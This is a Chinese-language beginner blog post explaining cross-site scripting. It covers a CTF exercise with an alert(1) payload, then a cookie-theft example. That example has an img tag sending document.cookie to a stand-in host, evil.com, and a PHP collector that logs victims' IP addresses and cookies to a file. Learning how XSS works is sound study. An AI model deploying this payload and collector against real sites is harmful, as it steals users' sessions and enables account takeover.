XSS初步认知学习

XSS攻击初步认知及学习

Cross-Stie Scripting,跨站脚本攻击,又称为HTML注入。

xss本质上是一种代码注入,允许用户将恶意代码注入网页,其他用户在观看网页时会受到影响。

我们通过下面这个题目来简单了解一下xss注入

[N1BOOK]XSS闯关(level1)

这个题有多个level,每个level的目标都是利用xss在当前页面弹窗

level1的页面打开后有一个welcome xss,welcome后面的内容是可以通过url传参控制的

那我们构造username=<script>alert(1)</script>的话,代码就会变成

Welcome <script>alert(1)</script>

结果就是会在当前页面进行一次弹窗

后面的level主要是考察一些绕过和注入技巧,例如javascript伪协议和模板注入等等

XSS的实际应用

上面的题目中,xss只是用来进行一个弹窗的操作,看似没有什么危害。

试想以下一个例子:假如某网站的留言功能存在xss漏洞,我留言了一段精心构造的恶意代码,使每一个看到我留言的人都会自动访问一个我指定的恶意网站,其后果不堪设想。

比如我们通过xss写入

<img src="http://www.evil.com/cookiegeter.php?cookie="+document.cookie></img>

而我们在自己的网站上部署的cookiegeter.php,内容如下

1
2
3
4
5
6
7
8
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

这样我们就能窃取到其他用户的cookie并保存在txt中

假装偷到了曲奇

虽然现在很多网站的cookie都设置了http only,无法通过xss漏洞来直接读取cookie,但我们仍可以通过xss漏洞来模仿其他用户进行一些操作。

总结与感想

xss漏洞的原理不难理解,但是也有一些值得深挖的内容,比如CSP

遗憾的是没有找到难度合适的xss题目来讲解,要么是难度太低只是一些基础的简单的绕过,要么就是难度过高杂合了其他太多知识点,不适合作为例题。以后的具体题目中出现xss再单独写一篇吧。